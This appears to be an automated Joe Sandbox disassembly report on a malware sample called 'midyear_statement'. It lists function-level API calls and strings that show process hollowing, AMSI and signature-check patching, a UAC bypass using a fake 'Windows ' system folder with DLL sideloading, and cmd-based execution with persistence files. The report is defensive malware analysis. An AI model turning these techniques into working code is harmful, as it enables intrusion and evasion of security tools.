Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: MemoryVirtual$AddressLibraryProcThreadWrite$ContextHandleLoadModule$AllocateCreateFreeProcessReadResumeSectionUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$Initialize$NtOpenObjectAuditAlarm$NtReadVirtualMemory$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$bcrypt$ntdll$sppc
API String ID: 2533507481-2367850715
Opcode ID: aee14c98fb3a47aa7bb174f0abd6dfee168f2edd272fad84fcbc7b245bb5a4f3
Instruction ID: b591209a81686d2ed736725af0fb2b1ca598fddfcaaf4bda5a88676f04f68113
Opcode Fuzzy Hash: aee14c98fb3a47aa7bb174f0abd6dfee168f2edd272fad84fcbc7b245bb5a4f3
Instruction Fuzzy Hash: A0E21239A411189FEB51EBA4DC80FCEB3B9AF4560CF1041A29148BB614DBB0FE95CF95

Uniqueness

Uniqueness Score: -1.00%

Function 040B7EE6 Relevance: 41.8, APIs: 8, Strings: 15, Instructions: 1553
nativeprocessthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 040B7B88: LoadLibraryW.KERNEL32(?,00000000,040B7C3A), ref: 040B7BB8
Part of subcall function 040B7B88: GetModuleHandleW.KERNEL32(?,?,00000000,040B7C3A), ref: 040B7BBE
Part of subcall function 040B7B88: GetProcAddress.KERNEL32(00000000,00000000), ref: 040B7BD7

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,04100398,04100388,OpenSession,04100360,040B99D0,ScanString,04100360), ref: 040B83E6
GetThreadContext.KERNEL32(00000868,041003DC,ScanString,04100360,040B99D0,UacInitialize,04100360,040B99D0,ScanBuffer,04100360,040B99D0,ScanBuffer,04100360,040B99D0,UacInitialize,04100360), ref: 040B877F
NtReadVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000894,00292FF8,041004B0,00000004,041004B8,ScanBuffer,04100360,040B99D0,ScanString,04100360,040B99D0,Initialize,04100360,040B99D0,UacScan,04100360), ref: 040B89DC
NtUnmapViewOfSection.N(00000894,00590000,ScanBuffer,04100360,040B99D0,ScanString,04100360,040B99D0,Initialize,04100360,040B99D0,00000894,00292FF8,041004B0,00000004,041004B8), ref: 040B8B57

Part of subcall function 040B78F8: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 040B7905
Part of subcall function 040B78F8: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 040B790B
Part of subcall function 040B78F8: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 040B792B

Strings

OpenSession, xrefs: 040B7F21, 040B8344, 040B83F6, 040B97CC, 040B9870
Initialize, xrefs: 040B8262, 040B8875, 040B89FC, 040B8DE5, 040B9047, 040B91B7, 040B932A, 040B958F
BCryptQueryProviderRegistration, xrefs: 040B9704
ScanString, xrefs: 040B7F7A, 040B8125, 040B82D3, 040B8700, 040B88E6, 040B8A6D, 040B8EFA, 040B90B8, 040B9228, 040B939B, 040B9686, 040B9733
NtReadVirtualMemory, xrefs: 040B979D
UacScan, xrefs: 040B7FEB, 040B8203, 040B8804, 040B8C00, 040B8D74, 040B951E
SLGetLicenseInformation, xrefs: 040B84D7
sppc, xrefs: 040B84EE
UacInitialize, xrefs: 040B81AA, 040B850B, 040B868F, 040B8793, 040B94AD
bcrypt, xrefs: 040B96F5, 040B9709, 040B971D
ScanBuffer, xrefs: 040B8044, 040B80CC, 040B8467, 040B857C, 040B861E, 040B8957, 040B8ADE, 040B8C71, 040B8E56, 040B8F6B, 040B9129, 040B9299, 040B940C, 040B9600, 040B981E, 040B98E1
NtOpenObjectAuditAlarm, xrefs: 040B97B1
BCryptVerifySignature, xrefs: 040B96F0
BCryptRegisterProvider, xrefs: 040B9718
ntdll, xrefs: 040B97A2, 040B97B6

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: AddressHandleMemoryModuleProcVirtual$AllocateContextCreateLibraryLoadProcessReadSectionThreadUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$Initialize$NtOpenObjectAuditAlarm$NtReadVirtualMemory$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$bcrypt$ntdll$sppc
API String ID: 3979268988-2367850715
Opcode ID: f354b93d9f3915233b1a3c959d4edf1be3f13b106eaf1b8bab3133dd86f597fb
Instruction ID: d87dff25aad9e536427e6eebc7a269ee7c96c0401ebca7355ba3c993cb423689
Opcode Fuzzy Hash: f354b93d9f3915233b1a3c959d4edf1be3f13b106eaf1b8bab3133dd86f597fb
Instruction Fuzzy Hash: FFE21339A411189FEB51EBA4DC80FCEB3B9AF4560CF1041A29148BB614DBB0FE95CF95

Uniqueness

Uniqueness Score: -1.00%

Function 040A5A3C Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,040A0000,040CC790), ref: 040A5A58
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,040A0000,040CC790), ref: 040A5A76
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,040A0000,040CC790), ref: 040A5A94
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 040A5AB2
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,040A5B41,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 040A5AFB
RegQueryValueExA.ADVAPI32(?,040A5CA8,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,040A5B41,?,80000001), ref: 040A5B19
RegCloseKey.ADVAPI32(?,040A5B48,00000000,?,?,00000000,040A5B41,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 040A5B3B
lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 040A5B58
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 040A5B65
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 040A5B6B
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 040A5B96
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 040A5BDD
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 040A5BED
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 040A5C15
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 040A5C25
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 040A5C4B
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 040A5C5B

Strings

Software\Borland\Delphi\Locales, xrefs: 040A5AA8
Software\Borland\Locales, xrefs: 040A5A6C, 040A5A8A

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: 6136e82d8dfd28118471b3525f5d8165c2bcff24087c2ed7f4bd3fb2c3fb3060
Instruction ID: ed635bd781d7315362e91603cdcea9ebfc3e3b909322b06e7dab74bf7ca09b80
Opcode Fuzzy Hash: 6136e82d8dfd28118471b3525f5d8165c2bcff24087c2ed7f4bd3fb2c3fb3060
Instruction Fuzzy Hash: 6D516775A5025C7EFB21D6E48C46FEFB7ECAB04748F4401A1B604FA181E674FB648B60

Uniqueness

Uniqueness Score: -1.00%

Function 040B7A50 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40
librarynativeloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(bcrypt,040B99D0,Initialize,04100360,040B99D0,UacScan,04100360,040B99D0,UacInitialize,04100360,040B99D0,00000868,041003DC,ScanString,04100360,040B99D0), ref: 040B7A62
GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 040B7A6F
NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000894,00000000,?,00000001,?,00000000,BCryptVerifySignature,bcrypt,040B99D0,Initialize,04100360,040B99D0,UacScan,04100360,040B99D0,UacInitialize), ref: 040B7A86
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,040B99D0,Initialize,04100360,040B99D0,UacScan,04100360,040B99D0,UacInitialize,04100360,040B99D0,00000868,041003DC), ref: 040B7A95

Strings

bcrypt, xrefs: 040B7A61
BCryptVerifySignature, xrefs: 040B7A6D

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: 833ce6947aca4174376685b5a935ece15b52e058633259bfbb11297cabd142f4
Instruction ID: 0c587730a93cf5f6d4f2943bed2987fe622957abfbfbc2553f18397d138f69c8
Opcode Fuzzy Hash: 833ce6947aca4174376685b5a935ece15b52e058633259bfbb11297cabd142f4
Instruction Fuzzy Hash: 1DF0E9761493117DE150A1645C40EFF239CCBC2768F088A3AB9D4A7180D666A914C2F5

Uniqueness

Uniqueness Score: -1.00%

Function 040B78F6 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24
librarymemorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 040B7905
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 040B790B
NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 040B792B

Strings

C:\Windows\System32\ntdll.dll, xrefs: 040B7900
NtAllocateVirtualMemory, xrefs: 040B78FB

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: AddressAllocateHandleMemoryModuleProcVirtual
String ID: C:\Windows\System32\ntdll.dll$NtAllocateVirtualMemory
API String ID: 421316089-2206134580
Opcode ID: 5a773ca64b4bd0c36625993a59013230612cc9f76ba98992e035e8f587ec723d
Instruction ID: 7d66b74d9bcb81993cd9b64767524bed3d9ac1872cfaaa0cca386af974e85632
Opcode Fuzzy Hash: 5a773ca64b4bd0c36625993a59013230612cc9f76ba98992e035e8f587ec723d
Instruction Fuzzy Hash: E0E01AB224030CBFDB40DFA8D841FDA37ACEB1C614F048411BA04EB100DA71E9908BF8

Uniqueness

Uniqueness Score: -1.00%

Function 040B78F8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23
librarymemorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 040B7905
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 040B790B
NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 040B792B

Strings

C:\Windows\System32\ntdll.dll, xrefs: 040B7900
NtAllocateVirtualMemory, xrefs: 040B78FB

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: AddressAllocateHandleMemoryModuleProcVirtual
String ID: C:\Windows\System32\ntdll.dll$NtAllocateVirtualMemory
API String ID: 421316089-2206134580
Opcode ID: ef807bbd041a9f5853a735ebc811bbec02c5bbbd7b4693b3515c26b6078d562a
Instruction ID: 7cdb7f777c2bbc7c4e92550b7d8ba0d26b7ae339e9ba5260884b5ff7f2825f36
Opcode Fuzzy Hash: ef807bbd041a9f5853a735ebc811bbec02c5bbbd7b4693b3515c26b6078d562a
Instruction Fuzzy Hash: 91E01AB214030CBFDB40DFA8D841FCA37ACEB1C614F048411BA04EB100CA71E9908BF8

Uniqueness

Uniqueness Score: -1.00%

Function 040BCE00 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 040A4E90: SysAllocStringLen.OLEAUT32(?,?), ref: 040A4E9E

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,040BCED0), ref: 040BCE3B
NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,040BCED0), ref: 040BCE6B
NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 040BCE80
NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 040BCEAC
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 040BCEB5

Part of subcall function 040A4BD0: SysFreeString.OLEAUT32(040BD6AC), ref: 040A4BDE

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
String ID:
API String ID: 1897104825-0
Opcode ID: bc2008bf77e654ca009716b9ed86ac5eaa66af32e927b01fec1c029c5d5ed003
Instruction ID: 140e92746aa711e83745ea131eaf7a6a947e0bcadac93e097cbbfdb5173f932b
Opcode Fuzzy Hash: bc2008bf77e654ca009716b9ed86ac5eaa66af32e927b01fec1c029c5d5ed003
Instruction Fuzzy Hash: 1821CD75A54208BBFB11EAE4CC42FDEB7BCAB48708F500465B640F72C1DAB4BA158799

Uniqueness

Uniqueness Score: -1.00%

Function 040BD1D0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 040BD30E

Strings

Initialize, xrefs: 040BD1FE
ScanBuffer, xrefs: 040BD257
OpenSession, xrefs: 040BD2B0

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 2406cde81fcd3f720dd18db98174af258e6d44aeca2744e7adad19645aea4128
Instruction ID: 56ea444870f7f85f2d6b329f35d4a7e7ce2a79baa8b0c2fa0a83fa393ee58219
Opcode Fuzzy Hash: 2406cde81fcd3f720dd18db98174af258e6d44aeca2744e7adad19645aea4128
Instruction Fuzzy Hash: 5C411D39A50209AFEB00EBE4D841EDEB3B9EF5960CF254531E040B7641DBB5BD218B95

Uniqueness

Uniqueness Score: -1.00%

Function 040BCD1A Relevance: 6.1, APIs: 4, Instructions: 81
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 040A4E90: SysAllocStringLen.OLEAUT32(?,?), ref: 040A4E9E

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,040BCDEE), ref: 040BCD5B
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 040BCD95
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 040BCDC2
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 040BCDCB

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: 7b7354f3c6dfaf017f90fca81a6e48ab30a10ca0c6b97f3785ce0842e1ce313b
Instruction ID: 7b5dff6b356e67108f9f5ebed7d9dce9eb80fceb5c816660a38647ec7c05cafa
Opcode Fuzzy Hash: 7b7354f3c6dfaf017f90fca81a6e48ab30a10ca0c6b97f3785ce0842e1ce313b
Instruction Fuzzy Hash: F421EE75A50208BBFB11EAE4DD42FDEB7BCEB44B08F514065B640FB1C0D7B47A1486A8

Uniqueness

Uniqueness Score: -1.00%

Function 040BCD1C Relevance: 6.1, APIs: 4, Instructions: 80nativefileCOMMON

Download Yara Rule

APIs

Part of subcall function 040A4E90: SysAllocStringLen.OLEAUT32(?,?), ref: 040A4E9E

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,040BCDEE), ref: 040BCD5B
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 040BCD95
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 040BCDC2
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 040BCDCB

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: aa3cff7fe6934803059f7bc699c11faff5ea3ffa94406c053d307d033d610c46
Instruction ID: aca17035a8b47403c4d377c63766185dbae35d884f4ba63f440158a1d8ce8494
Opcode Fuzzy Hash: aa3cff7fe6934803059f7bc699c11faff5ea3ffa94406c053d307d033d610c46
Instruction Fuzzy Hash: C921EC75A50208BBFB11EAE0DD42FDEB7BCAB44B08F514065B640FB1C0D7B47A148AA8

Uniqueness

Uniqueness Score: -1.00%

Function 040B6D0C Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

Part of subcall function 040B6CB0: CLSIDFromProgID.OLE32(00000000,?,00000000,040B6CFD,?,?,?,00000000), ref: 040B6CDD

CoCreateInstance.OLE32(?,00000000,00000005,040B6DF0,00000000,00000000,040B6D6F,?,00000000,040B6DDF), ref: 040B6D5B

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: 5505bfa204f4360921e6f2f29ba782843f3ffba17eaab6a7d54a118d9d41999d
Instruction ID: c6ac30f4d11e2e3045e9bb4db3d817d377a8ad8f13a2d90b5c62e6b1e34bba93
Opcode Fuzzy Hash: 5505bfa204f4360921e6f2f29ba782843f3ffba17eaab6a7d54a118d9d41999d
Instruction Fuzzy Hash: 8601F730A087086FE715DFA4DC629EF7BACE749718B510835F504F2640EA316910C8EA

Uniqueness

Uniqueness Score: -1.00%

Function 040C225E Relevance: 46.4, APIs: 6, Strings: 19, Instructions: 2660fileprocesssleepCOMMON

Download Yara Rule

APIs

Part of subcall function 040B7B88: LoadLibraryW.KERNEL32(?,00000000,040B7C3A), ref: 040B7BB8
Part of subcall function 040B7B88: GetModuleHandleW.KERNEL32(?,?,00000000,040B7C3A), ref: 040B7BBE
Part of subcall function 040B7B88: GetProcAddress.KERNEL32(00000000,00000000), ref: 040B7BD7

Part of subcall function 040BCD1C: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,040BCDEE), ref: 040BCD5B
Part of subcall function 040BCD1C: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 040BCD95
Part of subcall function 040BCD1C: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 040BCDC2
Part of subcall function 040BCD1C: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 040BCDCB

Part of subcall function 040A7DD4: GetFileAttributesA.KERNEL32(00000000,?,040BE36F,ScanString,04100344,040C9768,OpenSession,04100344,040C9768,ScanString,04100344,040C9768,UacScan,04100344,040C9768,UacInitialize), ref: 040A7DDF

WinExec.KERNEL32(00000000,040C9BC4), ref: 040C3438
Sleep.KERNEL32(00001388,OpenSession,04100344,040C9768,UacInitialize,04100344,040C9768,ScanString,04100344,040C9768,00000000,040C9BC4,cmd /c ",00000000,UacInitialize,04100344), ref: 040C35B6
DeleteFileA.KERNEL32(00000000,00001388,OpenSession,04100344,040C9768,UacInitialize,04100344,040C9768,ScanString,04100344,040C9768,00000000,040C9BC4,cmd /c ",00000000,UacInitialize), ref: 040C35EA
DeleteFileA.KERNEL32(00000000,00000000,00001388,OpenSession,04100344,040C9768,UacInitialize,04100344,040C9768,ScanString,04100344,040C9768,00000000,040C9BC4,cmd /c ",00000000), ref: 040C3624
DeleteFileA.KERNEL32(00000000,00000000,00000000,00001388,OpenSession,04100344,040C9768,UacInitialize,04100344,040C9768,ScanString,04100344,040C9768,00000000,040C9BC4,cmd /c "), ref: 040C365E
WinExec.KERNEL32(00000000,040C9C7C), ref: 040C4691

Strings

IconIndex=, xrefs: 040C4F5B
C:\Windows \System32\, xrefs: 040C23D2
URL=file:", xrefs: 040C4F07
OpenSession, xrefs: 040C2660, 040C27E3, 040C29F8, 040C2DB1, 040C2FC6, 040C31FC, 040C32A2, 040C3541, 040C37E9, 040C3983, 040C3B23, 040C3CC8, 040C3E3C, 040C408C, 040C4140, 040C4479, 040C4816, 040C499F, 040C4C79, 040C4DED, 040C4F81, 040C5131
C:\Windows \System32\netutils.dll, xrefs: 040C2751
C:\\Users\\Public\\Libraries\\, xrefs: 040C4324
UacScan, xrefs: 040C22E6, 040C242A, 040C2767, 040C2900, 040C3D44, 040C42B4, 040C4571, 040C471E, 040C48A7, 040C4B05, 040C4BFD
.exe, xrefs: 040C23F2
C:\Users\Public\, xrefs: 040C3F3D, 040C51A1
[InternetShortcut], xrefs: 040C4EF8
